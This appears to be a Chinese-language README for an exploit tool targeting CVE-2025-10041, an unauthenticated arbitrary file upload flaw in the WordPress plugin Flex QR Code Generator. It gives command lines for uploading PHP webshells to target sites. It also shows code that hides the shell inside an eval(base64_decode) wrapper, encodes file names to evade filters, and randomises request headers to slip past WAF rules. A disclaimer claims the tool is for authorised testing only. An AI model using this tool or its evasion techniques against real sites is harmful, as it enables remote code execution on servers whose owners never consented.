Flex QR Code Generator 漏洞利用工具 (CVE-2025-10041)
本项目是一个专业的安全研究工具,针对 WordPress 插件 Flex QR Code Generator 在版本 1.2.5 及更早版本中存在的严重安全漏洞(CVE-2025-10041)。该漏洞源于 save_qr_code_to_db() 函数缺少对上传文件类型的有效验证,允许未经身份验证的攻击者上传任意文件,从而实现远程代码执行(RCE)。
功能特性
- 任意文件上传:核心利用功能,支持上传 PHP WebShell 及其他恶意文件。
- 多重编码绕过 :
- 文件名编码 :支持 Base64 和 URL 编码,以绕过基于文件名(如
.php后缀)的简单过滤。 - 内容编码 :支持将恶意代码(如 PHP Shell)进行 Base64 编码并包装在
eval(base64_decode(...))中,以绕过简单的恶意内容特征检测。
- 文件名编码 :支持 Base64 和 URL 编码,以绕过基于文件名(如
- 网络层绕过 :
- 随机化 HTTP 头:自动轮换 User-Agent、Referer 和 Cookie,以规避基于请求签名的低级 WAF 规则。
- 自定义请求头支持:允许高级用户添加自定义 HTTP 头,用于应对更复杂的访问控制或绕过场景。
- 友好的命令行界面:提供完整的参数解析和帮助信息,便于使用和集成。
安装指南
环境要求
- Python 3.x
requests库
安装步骤
-
克隆或下载项目代码 :将本项目脚本
CVE-2025-10041.py保存到您的本地工作目录。 -
安装依赖:在终端中执行以下命令,安装所需的 Python 库。
bashpip install requests
使用说明
基本语法
bash
python3 CVE-2025-10041.py -u <目标URL> [选项]
基础用法
1. 基本漏洞利用
检测并尝试上传默认的 shell.php 到目标站点。
bash
python3 CVE-2025-10041.py -u http://target.com
2. 使用文件名编码
通过 --encode_filename 参数对 WebShell 文件名进行 Base64 或 URL 编码。
bash
python3 CVE-2025-10041.py -u http://target.com --encode_filename base64
python3 CVE-2025-10041.py -u http://target.com --encode_filename url
3. 使用内容编码
通过 --encode_content 参数对 WebShell 内容进行 Base64 编码,以规避内容过滤。
bash
python3 CVE-2025-10041.py -u http://target.com --encode_content base64
4. 指定自定义 Shell 文件名
使用 --shellname 参数自定义上传的 WebShell 文件名。
bash
python3 CVE-2025-10041.py -u http://target.com --shellname myevil.php
5. 组合高级选项
将多个绕过技巧组合使用。
bash
python3 CVE-2025-10041.py -u http://target.com --encode_content base64 --encode_filename base64 --shellname myevil.php
6. 添加自定义请求头
使用 --headers 参数添加一个或多个自定义 HTTP 头。
bash
python3 CVE-2025-10041.py -u http://target.com --headers "X-Forwarded-For: 127.0.0.1" "Cookie: PHPSESSID=1337"
7. 查看完整帮助
bash
python3 CVE-2025-10041.py --help
核心代码
漏洞检测模块
python
try:
resp = requests.get(url, headers=headers, timeout=10)
if resp.status_code == 200 and "Version: 1.2.5" in resp.text:
return True
except Exception:
pass
return False
编码绕过模块
该模块提供了文件名和内容的多种编码方式。encode_filename 支持 Base64 和 URL 编码,encode_content 可将 PHP 代码进行 Base64 编码并放入 eval() 中执行,用于绕过简单的黑名单检测。
python
def encode_filename(filename, method):
if method == "base64":
encoded = base64.urlsafe_b64encode(filename.encode()).decode()
return encoded.replace("=", "")
elif method == "url":
return urllib.parse.quote(filename)
return filename
def encode_content(content, method):
if method == "base64":
encoded = base64.b64encode(content.encode()).decode()
return f"<?php eval(base64_decode('{encoded}')); ?>"
return content
HTTP 头随机化模块
为每次请求生成随机化的 HTTP 头,包括 User-Agent、Referer 和 Cookie,以模拟不同客户端行为,绕过简单的 WAF 规则。
python
def random_headers(custom_headers=None):
user_agents = [
"Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)",
"Mozilla/5.0 (Linux; Android 10)",
"Mozilla/5.0 (iPhone; CPU iPhone OS 14_0 like Mac OS X)",
"Mozilla/5.0 (Nxploited)"
]
referers = [
"https://google.com",
"https://bing.com",
"https://facebook.com",
"https://twitter.com",
"https://evil.com"
]
headers = {
"User-Agent": random.choice(user_agents),
"Accept": "*/*",
"Connection": "close",
"Referer": random.choice(referers),
"Cookie": f"wp_nonce={random.randint(100000,999999)}; test={random.randint(1,9999)}"
}
if custom_headers:
headers.update(custom_headers)
return headers
⚠️ 免责声明
本工具及其代码仅供教育、科研和获得明确授权的渗透测试 使用。严禁在未经目标系统所有者明确书面授权的情况下使用本工具进行任何形式的攻击或入侵行为。使用者须遵守所在地法律法规,因不当使用本工具而产生的一切后果均由使用者本人承担,作者(Nxploited / Khaled Alenazi)及本项目维护者不承担任何责任。 6HFtX5dABrKlqXeO5PUv/1h8+VvHkOyDf8nSFwj6pWk=